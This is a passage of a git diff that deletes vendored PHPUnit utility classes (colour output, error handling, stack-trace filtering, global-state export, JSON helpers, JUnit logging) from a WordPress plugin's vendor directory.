'bold' => '1', - 'dim' => '2', - 'dim-reset' => '22', - 'underlined' => '4', - 'fg-default' => '39', - 'fg-black' => '30', - 'fg-red' => '31', - 'fg-green' => '32', - 'fg-yellow' => '33', - 'fg-blue' => '34', - 'fg-magenta' => '35', - 'fg-cyan' => '36', - 'fg-white' => '37', - 'bg-default' => '49', - 'bg-black' => '40', - 'bg-red' => '41', - 'bg-green' => '42', - 'bg-yellow' => '43', - 'bg-blue' => '44', - 'bg-magenta' => '45', - 'bg-cyan' => '46', - 'bg-white' => '47', - ]; - - public static function colorize(string $color, string $buffer): string - { - if (trim($buffer) === '') { - return $buffer; - } - - $codes = array_map('\trim', explode(',', $color)); - $styles = []; - - foreach ($codes as $code) { - if (isset(self::$ansiCodes[$code])) { - $styles[] = self::$ansiCodes[$code] ?? ''; - } - } - - if (empty($styles)) { - return $buffer; - } - - return self::optimizeColor(sprintf("\x1b[%sm", implode(';', $styles)) . $buffer . "\x1b[0m"); - } - - public static function colorizePath(string $path, ?string $prevPath = null, bool $colorizeFilename = false): string - { - if ($prevPath === null) { - $prevPath = ''; - } - - $path = explode(DIRECTORY_SEPARATOR, $path); - $prevPath = explode(DIRECTORY_SEPARATOR, $prevPath); - - for ($i = 0; $i < min(count($path), count($prevPath)); $i++) { - if ($path[$i] == $prevPath[$i]) { - $path[$i] = self::dim($path[$i]); - } - } - - if ($colorizeFilename) { - $last = count($path) - 1; - $path[$last] = preg_replace_callback( - '/([\-_\.]+|phpt$)/', - static function ($matches) - { - return self::dim($matches[0]); - }, - $path[$last], - ); - } - - return self::optimizeColor(implode(self::dim(DIRECTORY_SEPARATOR), $path)); - } - - public static function dim(string $buffer): string - { - if (trim($buffer) === '') { - return $buffer; - } - - return "\e[2m{$buffer}\e[22m"; - } - - public static function visualizeWhitespace(string $buffer, bool $visualizeEOL = false): string - { - $replaceMap = $visualizeEOL ? self::WHITESPACE_EOL_MAP : self::WHITESPACE_MAP; - - return preg_replace_callback('/\s+/', static function ($matches) use ($replaceMap) - { - return self::dim(strtr($matches[0], $replaceMap)); - }, $buffer); - } - - private static function optimizeColor(string $buffer): string - { - $patterns = [ - "/\e\\[22m\e\\[2m/" => '', - "/\e\\[([^m]*)m\e\\[([1-9][0-9;]*)m/" => "\e[$1;$2m", - "/(\e\\[[^m]*m)+(\e\\[0m)/" => '$2', - ]; - - return preg_replace(array_keys($patterns), array_values($patterns), $buffer); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/ErrorHandler.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/ErrorHandler.php deleted file mode 100644 index 9fdb85d9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/ErrorHandler.php +++ /dev/null @@ -1,165 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use const E_DEPRECATED; -use const E_NOTICE; -use const E_STRICT; -use const E_USER_DEPRECATED; -use const E_USER_NOTICE; -use const E_USER_WARNING; -use const E_WARNING; -use function defined; -use function error_reporting; -use function restore_error_handler; -use function set_error_handler; -use PHPUnit\Framework\Error\Deprecated; -use PHPUnit\Framework\Error\Error; -use PHPUnit\Framework\Error\Notice; -use PHPUnit\Framework\Error\Warning; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ErrorHandler -{ - /** - * @var bool - */ - private $convertDeprecationsToExceptions; - - /** - * @var bool - */ - private $convertErrorsToExceptions; - - /** - * @var bool - */ - private $convertNoticesToExceptions; - - /** - * @var bool - */ - private $convertWarningsToExceptions; - - /** - * @var bool - */ - private $registered = false; - - public static function invokeIgnoringWarnings(callable $callable) - { - set_error_handler( - static function ($errorNumber, $errorString) - { - if ($errorNumber === E_WARNING) { - return; - } - - return false; - }, - ); - - $result = $callable(); - - restore_error_handler(); - - return $result; - } - - public function __construct(bool $convertDeprecationsToExceptions, bool $convertErrorsToExceptions, bool $convertNoticesToExceptions, bool $convertWarningsToExceptions) - { - $this->convertDeprecationsToExceptions = $convertDeprecationsToExceptions; - $this->convertErrorsToExceptions = $convertErrorsToExceptions; - $this->convertNoticesToExceptions = $convertNoticesToExceptions; - $this->convertWarningsToExceptions = $convertWarningsToExceptions; - } - - public function __invoke(int $errorNumber, string $errorString, string $errorFile, int $errorLine): bool - { - /* - * Do not raise an exception when the error suppression operator (@) was used. - * - * @see https://github.com/sebastianbergmann/phpunit/issues/3739 - */ - if (!($errorNumber & error_reporting())) { - return false; - } - - /** - * E_STRICT is deprecated since PHP 8.4. - * - * @see https://github.com/sebastianbergmann/phpunit/issues/5956 - */ - if (defined('E_STRICT') && $errorNumber === @E_STRICT) { - $errorNumber = E_NOTICE; - } - - switch ($errorNumber) { - case E_NOTICE: - case E_USER_NOTICE: - if (!$this->convertNoticesToExceptions) { - return false; - } - - throw new Notice($errorString, $errorNumber, $errorFile, $errorLine); - - case E_WARNING: - case E_USER_WARNING: - if (!$this->convertWarningsToExceptions) { - return false; - } - - throw new Warning($errorString, $errorNumber, $errorFile, $errorLine); - - case E_DEPRECATED: - case E_USER_DEPRECATED: - if (!$this->convertDeprecationsToExceptions) { - return false; - } - - throw new Deprecated($errorString, $errorNumber, $errorFile, $errorLine); - - default: - if (!$this->convertErrorsToExceptions) { - return false; - } - - throw new Error($errorString, $errorNumber, $errorFile, $errorLine); - } - } - - public function register(): void - { - if ($this->registered) { - return; - } - - $oldErrorHandler = set_error_handler($this); - - if ($oldErrorHandler !== null) { - restore_error_handler(); - - return; - } - - $this->registered = true; - } - - public function unregister(): void - { - if (!$this->registered) { - return; - } - - restore_error_handler(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Exception.php deleted file mode 100644 index 6bcb3d14..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Exception.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use RuntimeException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Exception extends RuntimeException implements \PHPUnit\Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/ExcludeList.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/ExcludeList.php deleted file mode 100644 index d539ec57..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/ExcludeList.php +++ /dev/null @@ -1,240 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use const DIRECTORY_SEPARATOR; -use function class_exists; -use function defined; -use function dirname; -use function is_dir; -use function realpath; -use function sprintf; -use function strpos; -use function sys_get_temp_dir; -use Composer\Autoload\ClassLoader; -use DeepCopy\DeepCopy; -use Doctrine\Instantiator\Instantiator; -use PharIo\Manifest\Manifest; -use PharIo\Version\Version as PharIoVersion; -use PhpParser\Parser; -use PHPUnit\Framework\TestCase; -use ReflectionClass; -use SebastianBergmann\CliParser\Parser as CliParser; -use SebastianBergmann\CodeCoverage\CodeCoverage; -use SebastianBergmann\CodeUnit\CodeUnit; -use SebastianBergmann\CodeUnitReverseLookup\Wizard; -use SebastianBergmann\Comparator\Comparator; -use SebastianBergmann\Complexity\Calculator; -use SebastianBergmann\Diff\Diff; -use SebastianBergmann\Environment\Runtime; -use SebastianBergmann\Exporter\Exporter; -use SebastianBergmann\FileIterator\Facade as FileIteratorFacade; -use SebastianBergmann\GlobalState\Snapshot; -use SebastianBergmann\Invoker\Invoker; -use SebastianBergmann\LinesOfCode\Counter; -use SebastianBergmann\ObjectEnumerator\Enumerator; -use SebastianBergmann\ObjectReflector\ObjectReflector; -use SebastianBergmann\RecursionContext\Context; -use SebastianBergmann\ResourceOperations\ResourceOperations; -use SebastianBergmann\Template\Template; -use SebastianBergmann\Timer\Timer; -use SebastianBergmann\Type\TypeName; -use SebastianBergmann\Version; -use TheSeer\Tokenizer\Tokenizer; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -final class ExcludeList -{ - /** - * @var array - */ - private const EXCLUDED_CLASS_NAMES = [ - // composer - ClassLoader::class => 1, - - // doctrine/instantiator - Instantiator::class => 1, - - // myclabs/deepcopy - DeepCopy::class => 1, - - // nikic/php-parser - Parser::class => 1, - - // phar-io/manifest - Manifest::class => 1, - - // phar-io/version - PharIoVersion::class => 1, - - // phpdocumentor/type-resolver - Type::class => 1, - - // phpunit/phpunit - TestCase::class => 2, - - // phpunit/php-code-coverage - CodeCoverage::class => 1, - - // phpunit/php-file-iterator - FileIteratorFacade::class => 1, - - // phpunit/php-invoker - Invoker::class => 1, - - // phpunit/php-text-template - Template::class => 1, - - // phpunit/php-timer - Timer::class => 1, - - // sebastian/cli-parser - CliParser::class => 1, - - // sebastian/code-unit - CodeUnit::class => 1, - - // sebastian/code-unit-reverse-lookup - Wizard::class => 1, - - // sebastian/comparator - Comparator::class => 1, - - // sebastian/complexity - Calculator::class => 1, - - // sebastian/diff - Diff::class => 1, - - // sebastian/environment - Runtime::class => 1, - - // sebastian/exporter - Exporter::class => 1, - - // sebastian/global-state - Snapshot::class => 1, - - // sebastian/lines-of-code - Counter::class => 1, - - // sebastian/object-enumerator - Enumerator::class => 1, - - // sebastian/object-reflector - ObjectReflector::class => 1, - - // sebastian/recursion-context - Context::class => 1, - - // sebastian/resource-operations - ResourceOperations::class => 1, - - // sebastian/type - TypeName::class => 1, - - // sebastian/version - Version::class => 1, - - // theseer/tokenizer - Tokenizer::class => 1, - ]; - - /** - * @var string[] - */ - private static $directories = []; - - /** - * @var bool - */ - private static $initialized = false; - - public static function addDirectory(string $directory): void - { - if (!is_dir($directory)) { - throw new Exception( - sprintf( - '"%s" is not a directory', - $directory, - ), - ); - } - - self::$directories[] = realpath($directory); - } - - /** - * @throws Exception - * - * @return string[] - */ - public function getExcludedDirectories(): array - { - $this->initialize(); - - return self::$directories; - } - - /** - * @throws Exception - */ - public function isExcluded(string $file): bool - { - if (defined('PHPUNIT_TESTSUITE')) { - return false; - } - - $this->initialize(); - - foreach (self::$directories as $directory) { - if (strpos($file, $directory) === 0) { - return true; - } - } - - return false; - } - - /** - * @throws Exception - */ - private function initialize(): void - { - if (self::$initialized) { - return; - } - - foreach (self::EXCLUDED_CLASS_NAMES as $className => $parent) { - if (!class_exists($className)) { - continue; - } - - $directory = (new ReflectionClass($className))->getFileName(); - - for ($i = 0; $i < $parent; $i++) { - $directory = dirname($directory); - } - - self::$directories[] = $directory; - } - - // Hide process isolation workaround on Windows. - if (DIRECTORY_SEPARATOR === '\\') { - // tempnam() prefix is limited to first 3 chars. - // @see https://php.net/manual/en/function.tempnam.php - self::$directories[] = sys_get_temp_dir() . '\\PHP'; - } - - self::$initialized = true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/FileLoader.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/FileLoader.php deleted file mode 100644 index e0a66506..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/FileLoader.php +++ /dev/null @@ -1,84 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use const DIRECTORY_SEPARATOR; -use function array_diff; -use function array_keys; -use function fopen; -use function get_defined_vars; -use function sprintf; -use function stream_resolve_include_path; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class FileLoader -{ - /** - * Checks if a PHP sourcecode file is readable. The sourcecode file is loaded through the load() method. - * - * As a fallback, PHP looks in the directory of the file executing the stream_resolve_include_path function. - * We do not want to load the Test.php file here, so skip it if it found that. - * PHP prioritizes the include_path setting, so if the current directory is in there, it will first look in the - * current working directory. - * - * @throws Exception - */ - public static function checkAndLoad(string $filename): string - { - $includePathFilename = stream_resolve_include_path($filename); - - $localFile = __DIR__ . DIRECTORY_SEPARATOR . $filename; - - if (!$includePathFilename || - $includePathFilename === $localFile || - !self::isReadable($includePathFilename)) { - throw new Exception( - sprintf('Cannot open file "%s".' . "\n", $filename), - ); - } - - self::load($includePathFilename); - - return $includePathFilename; - } - - /** - * Loads a PHP sourcefile. - */ - public static function load(string $filename): void - { - $oldVariableNames = array_keys(get_defined_vars()); - - /** - * @noinspection PhpIncludeInspection - * - * @psalm-suppress UnresolvableInclude - */ - include_once $filename; - - $newVariables = get_defined_vars(); - - foreach (array_diff(array_keys($newVariables), $oldVariableNames) as $variableName) { - if ($variableName !== 'oldVariableNames') { - $GLOBALS[$variableName] = $newVariables[$variableName]; - } - } - } - - /** - * @see https://github.com/sebastianbergmann/phpunit/pull/2751 - */ - private static function isReadable(string $filename): bool - { - return @fopen($filename, 'r') !== false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Filesystem.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Filesystem.php deleted file mode 100644 index 886829d2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Filesystem.php +++ /dev/null @@ -1,41 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use const DIRECTORY_SEPARATOR; -use function is_dir; -use function mkdir; -use function str_replace; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Filesystem -{ - /** - * Maps class names to source file names. - * - * - PEAR CS: Foo_Bar_Baz -> Foo/Bar/Baz.php - * - Namespace: Foo\Bar\Baz -> Foo/Bar/Baz.php - */ - public static function classNameToFilename(string $className): string - { - return str_replace( - ['_', '\\'], - DIRECTORY_SEPARATOR, - $className, - ) . '.php'; - } - - public static function createDirectory(string $directory): bool - { - return !(!is_dir($directory) && !@mkdir($directory, 0777, true) && !is_dir($directory)); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Filter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Filter.php deleted file mode 100644 index 94b7e77d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Filter.php +++ /dev/null @@ -1,115 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use function array_unshift; -use function defined; -use function in_array; -use function is_file; -use function realpath; -use function sprintf; -use function strpos; -use PHPUnit\Framework\Exception; -use PHPUnit\Framework\SyntheticError; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Filter -{ - /** - * @throws Exception - */ - public static function getFilteredStacktrace(Throwable $t): string - { - $filteredStacktrace = ''; - - if ($t instanceof SyntheticError) { - $eTrace = $t->getSyntheticTrace(); - $eFile = $t->getSyntheticFile(); - $eLine = $t->getSyntheticLine(); - } elseif ($t instanceof Exception) { - $eTrace = $t->getSerializableTrace(); - $eFile = $t->getFile(); - $eLine = $t->getLine(); - } else { - if ($t->getPrevious()) { - $t = $t->getPrevious(); - } - - $eTrace = $t->getTrace(); - $eFile = $t->getFile(); - $eLine = $t->getLine(); - } - - if (!self::frameExists($eTrace, $eFile, $eLine)) { - array_unshift( - $eTrace, - ['file' => $eFile, 'line' => $eLine], - ); - } - - $prefix = defined('__PHPUNIT_PHAR_ROOT__') ? __PHPUNIT_PHAR_ROOT__ : false; - $excludeList = new ExcludeList; - - foreach ($eTrace as $frame) { - if (self::shouldPrintFrame($frame, $prefix, $excludeList)) { - $filteredStacktrace .= sprintf( - "%s:%s\n", - $frame['file'], - $frame['line'] ?? '?', - ); - } - } - - return $filteredStacktrace; - } - - private static function shouldPrintFrame(array $frame, $prefix, ExcludeList $excludeList): bool - { - if (!isset($frame['file'])) { - return false; - } - - $file = $frame['file']; - $fileIsNotPrefixed = $prefix === false || strpos($file, $prefix) !== 0; - - // @see https://github.com/sebastianbergmann/phpunit/issues/4033 - if (isset($GLOBALS['_SERVER']['SCRIPT_NAME'])) { - $script = realpath($GLOBALS['_SERVER']['SCRIPT_NAME']); - } else { - $script = ''; - } - - return is_file($file) && - self::fileIsExcluded($file, $excludeList) && - $fileIsNotPrefixed && - $file !== $script; - } - - private static function fileIsExcluded(string $file, ExcludeList $excludeList): bool - { - return (empty($GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST']) || - !in_array($file, $GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST'], true)) && - !$excludeList->isExcluded($file); - } - - private static function frameExists(array $trace, string $file, int $line): bool - { - foreach ($trace as $frame) { - if (isset($frame['file'], $frame['line']) && $frame['file'] === $file && $frame['line'] === $line) { - return true; - } - } - - return false; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/GlobalState.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/GlobalState.php deleted file mode 100644 index 18b5a646..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/GlobalState.php +++ /dev/null @@ -1,287 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use const PHP_MAJOR_VERSION; -use const PHP_MINOR_VERSION; -use function array_keys; -use function array_reverse; -use function array_shift; -use function defined; -use function get_defined_constants; -use function get_included_files; -use function in_array; -use function ini_get_all; -use function is_array; -use function is_file; -use function is_scalar; -use function preg_match; -use function serialize; -use function sprintf; -use function strpos; -use function strtr; -use function substr; -use function var_export; -use Closure; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class GlobalState -{ - /** - * @var string[] - */ - private const SUPER_GLOBAL_ARRAYS = [ - '_ENV', - '_POST', - '_GET', - '_COOKIE', - '_SERVER', - '_FILES', - '_REQUEST', - ]; - - /** - * @psalm-var array> - */ - private const DEPRECATED_INI_SETTINGS = [ - '7.3' => [ - 'iconv.input_encoding' => true, - 'iconv.output_encoding' => true, - 'iconv.internal_encoding' => true, - 'mbstring.func_overload' => true, - 'mbstring.http_input' => true, - 'mbstring.http_output' => true, - 'mbstring.internal_encoding' => true, - 'string.strip_tags' => true, - ], - - '7.4' => [ - 'iconv.input_encoding' => true, - 'iconv.output_encoding' => true, - 'iconv.internal_encoding' => true, - 'mbstring.func_overload' => true, - 'mbstring.http_input' => true, - 'mbstring.http_output' => true, - 'mbstring.internal_encoding' => true, - 'pdo_odbc.db2_instance_name' => true, - 'string.strip_tags' => true, - ], - - '8.0' => [ - 'iconv.input_encoding' => true, - 'iconv.output_encoding' => true, - 'iconv.internal_encoding' => true, - 'mbstring.http_input' => true, - 'mbstring.http_output' => true, - 'mbstring.internal_encoding' => true, - ], - - '8.1' => [ - 'auto_detect_line_endings' => true, - 'filter.default' => true, - 'iconv.input_encoding' => true, - 'iconv.output_encoding' => true, - 'iconv.internal_encoding' => true, - 'mbstring.http_input' => true, - 'mbstring.http_output' => true, - 'mbstring.internal_encoding' => true, - 'oci8.old_oci_close_semantics' => true, - ], - - '8.2' => [ - 'auto_detect_line_endings' => true, - 'filter.default' => true, - 'iconv.input_encoding' => true, - 'iconv.output_encoding' => true, - 'iconv.internal_encoding' => true, - 'mbstring.http_input' => true, - 'mbstring.http_output' => true, - 'mbstring.internal_encoding' => true, - 'oci8.old_oci_close_semantics' => true, - ], - - '8.3' => [ - 'auto_detect_line_endings' => true, - 'filter.default' => true, - 'iconv.input_encoding' => true, - 'iconv.output_encoding' => true, - 'iconv.internal_encoding' => true, - 'mbstring.http_input' => true, - 'mbstring.http_output' => true, - 'mbstring.internal_encoding' => true, - 'oci8.old_oci_close_semantics' => true, - ], - ]; - - /** - * @throws Exception - */ - public static function getIncludedFilesAsString(): string - { - return self::processIncludedFilesAsString(get_included_files()); - } - - /** - * @param string[] $files - * - * @throws Exception - */ - public static function processIncludedFilesAsString(array $files): string - { - $excludeList = new ExcludeList; - $prefix = false; - $result = ''; - - if (defined('__PHPUNIT_PHAR__')) { - $prefix = 'phar://' . __PHPUNIT_PHAR__ . '/'; - } - - // Do not process bootstrap script - array_shift($files); - - // If bootstrap script was a Composer bin proxy, skip the second entry as well - if (substr(strtr($files[0], '\\', '/'), -24) === '/phpunit/phpunit/phpunit') { - array_shift($files); - } - - foreach (array_reverse($files) as $file) { - if (!empty($GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST']) && - in_array($file, $GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST'], true)) { - continue; - } - - if ($prefix !== false && strpos($file, $prefix) === 0) { - continue; - } - - // Skip virtual file system protocols - if (preg_match('/^(vfs|phpvfs[a-z0-9]+):/', $file)) { - continue; - } - - if (!$excludeList->isExcluded($file) && is_file($file)) { - $result = 'require_once \'' . $file . "';\n" . $result; - } - } - - return $result; - } - - public static function getIniSettingsAsString(): string - { - $result = ''; - - foreach (ini_get_all(null, false) as $key => $value) { - if (self::isIniSettingDeprecated($key)) { - continue; - } - - $result .= sprintf( - '@ini_set(%s, %s);' . "\n", - self::exportVariable($key), - self::exportVariable((string) $value), - ); - } - - return $result; - } - - public static function getConstantsAsString(): string - { - $constants = get_defined_constants(true); - $result = ''; - - if (isset($constants['user'])) { - foreach ($constants['user'] as $name => $value) { - $result .= sprintf( - 'if (!defined(\'%s\')) define(\'%s\', %s);' . "\n", - $name, - $name, - self::exportVariable($value), - ); - } - } - - return $result; - } - - public static function getGlobalsAsString(): string - { - $result = ''; - - foreach (self::SUPER_GLOBAL_ARRAYS as $superGlobalArray) { - if (isset($GLOBALS[$superGlobalArray]) && is_array($GLOBALS[$superGlobalArray])) { - foreach (array_keys($GLOBALS[$superGlobalArray]) as $key) { - if ($GLOBALS[$superGlobalArray][$key] instanceof Closure) { - continue; - } - - $result .= sprintf( - '$GLOBALS[\'%s\'][\'%s\'] = %s;' . "\n", - $superGlobalArray, - $key, - self::exportVariable($GLOBALS[$superGlobalArray][$key]), - ); - } - } - } - - $excludeList = self::SUPER_GLOBAL_ARRAYS; - $excludeList[] = 'GLOBALS'; - - foreach (array_keys($GLOBALS) as $key) { - if (!$GLOBALS[$key] instanceof Closure && !in_array($key, $excludeList, true)) { - $result .= sprintf( - '$GLOBALS[\'%s\'] = %s;' . "\n", - $key, - self::exportVariable($GLOBALS[$key]), - ); - } - } - - return $result; - } - - private static function exportVariable($variable): string - { - if (is_scalar($variable) || $variable === null || - (is_array($variable) && self::arrayOnlyContainsScalars($variable))) { - return var_export($variable, true); - } - - return 'unserialize(' . var_export(serialize($variable), true) . ')'; - } - - private static function arrayOnlyContainsScalars(array $array): bool - { - $result = true; - - foreach ($array as $element) { - if (is_array($element)) { - $result = self::arrayOnlyContainsScalars($element); - } elseif (!is_scalar($element) && $element !== null) { - $result = false; - } - - if (!$result) { - break; - } - } - - return $result; - } - - private static function isIniSettingDeprecated(string $iniSetting): bool - { - return isset(self::DEPRECATED_INI_SETTINGS[PHP_MAJOR_VERSION . '.' . PHP_MINOR_VERSION][$iniSetting]); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/InvalidDataSetException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/InvalidDataSetException.php deleted file mode 100644 index 13dcc0e0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/InvalidDataSetException.php +++ /dev/null @@ -1,20 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use PHPUnit\Exception; -use RuntimeException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class InvalidDataSetException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Json.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Json.php deleted file mode 100644 index 0428bc03..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Json.php +++ /dev/null @@ -1,98 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use const JSON_PRETTY_PRINT; -use const JSON_UNESCAPED_SLASHES; -use const JSON_UNESCAPED_UNICODE; -use function count; -use function is_array; -use function is_object; -use function json_decode; -use function json_encode; -use function json_last_error; -use function ksort; -use PHPUnit\Framework\Exception; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Json -{ - /** - * Prettify json string. - * - * @throws Exception - */ - public static function prettify(string $json): string - { - $decodedJson = json_decode($json, false); - - if (json_last_error()) { - throw new Exception( - 'Cannot prettify invalid json', - ); - } - - return json_encode($decodedJson, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); - } - - /** - * To allow comparison of JSON strings, first process them into a consistent - * format so that they can be compared as strings. - * - * @return array ($error, $canonicalized_json) The $error parameter is used - * to indicate an error decoding the json. This is used to avoid ambiguity - * with JSON strings consisting entirely of 'null' or 'false'. - */ - public static function canonicalize(string $json): array - { - $decodedJson = json_decode($json); - - if (json_last_error()) { - return [true, null]; - } - - self::recursiveSort($decodedJson); - - $reencodedJson = json_encode($decodedJson); - - return [false, $reencodedJson]; - } - - /** - * JSON object keys are unordered while PHP array keys are ordered. - * - * Sort all array keys to ensure both the expected and actual values have - * their keys in the same order. - */ - private static function recursiveSort(&$json): void - { - if (!is_array($json)) { - // If the object is not empty, change it to an associative array - // so we can sort the keys (and we will still re-encode it - // correctly, since PHP encodes associative arrays as JSON objects.) - // But EMPTY objects MUST remain empty objects. (Otherwise we will - // re-encode it as a JSON array rather than a JSON object.) - // See #2919. - if (is_object($json) && count((array) $json) > 0) { - $json = (array) $json; - } else { - return; - } - } - - ksort($json); - - foreach ($json as $key => &$value) { - self::recursiveSort($value); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Log/JUnit.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Log/JUnit.php deleted file mode 100644 index c7ba4fc5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Log/JUnit.php +++ /dev/null @@ -1,424 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\Log; - -use function class_exists; -use function get_class; -use function method_exists; -use function sprintf; -use function str_replace; -use function trim; -use DOMDocument; -use DOMElement; -use PHPUnit\Framework\AssertionFailedError; -use PHPUnit\Framework\ExceptionWrapper; -use PHPUnit\Framework\SelfDescribing; -use PHPUnit\Framework\Test; -use PHPUnit\Framework\TestFailure; -use PHPUnit\Framework\TestListener; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Framework\Warning; -use PHPUnit\Util\Exception; -use PHPUnit\Util\Filter; -use PHPUnit\Util\Printer; -use PHPUnit\Util\Xml; -use ReflectionClass; -use ReflectionException; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class JUnit extends Printer implements TestListener -{ - /** - * @var DOMDocument - */ - private $document; - - /** - * @var DOMElement - */ - private $root; - - /** - * @var bool - */ - private $reportRiskyTests = false; - - /** - * @var DOMElement[] - */ - private $testSuites = []; - - /** - * @var int[] - */ - private $testSuiteTests = [0]; - - /** - * @var int[] - */ - private $testSuiteAssertions = [0]; - - /** - * @var int[] - */ - private $testSuiteErrors = [0]; - - /** - * @var int[] - */ - private $testSuiteWarnings = [0]; - - /** - * @var int[] - */ - private $testSuiteFailures = [0]; - - /** - * @var int[] - */ - private $testSuiteSkipped = [0]; - - /** - * @var int[] - */ - private $testSuiteTimes = [0]; - - /** - * @var int - */ - private $testSuiteLevel = 0; - - /** - * @var DOMElement - */ - private $currentTestCase; - - /** - * @param null|mixed $out - */ - public function __construct($out = null, bool $reportRiskyTests = false) - { - $this->document = new DOMDocument('1.0', 'UTF-8'); - $this->document->formatOutput = true; - - $this->root = $this->document->createElement('testsuites'); - $this->document->appendChild($this->root); - - parent::__construct($out); - - $this->reportRiskyTests = $reportRiskyTests; - } - - /** - * Flush buffer and close output. - */ - public function flush(): void - { - $this->write($this->getXML()); - - parent::flush(); - } - - /** - * An error occurred. - */ - public function addError(Test $test, Throwable $t, float $time): void - { - $this->doAddFault($test, $t, 'error'); - $this->testSuiteErrors[$this->testSuiteLevel]++; - } - - /** - * A warning occurred. - */ - public function addWarning(Test $test, Warning $e, float $time): void - { - $this->doAddFault($test, $e, 'warning'); - $this->testSuiteWarnings[$this->testSuiteLevel]++; - } - - /** - * A failure occurred. - */ - public function addFailure(Test $test, AssertionFailedError $e, float $time): void - { - $this->doAddFault($test, $e, 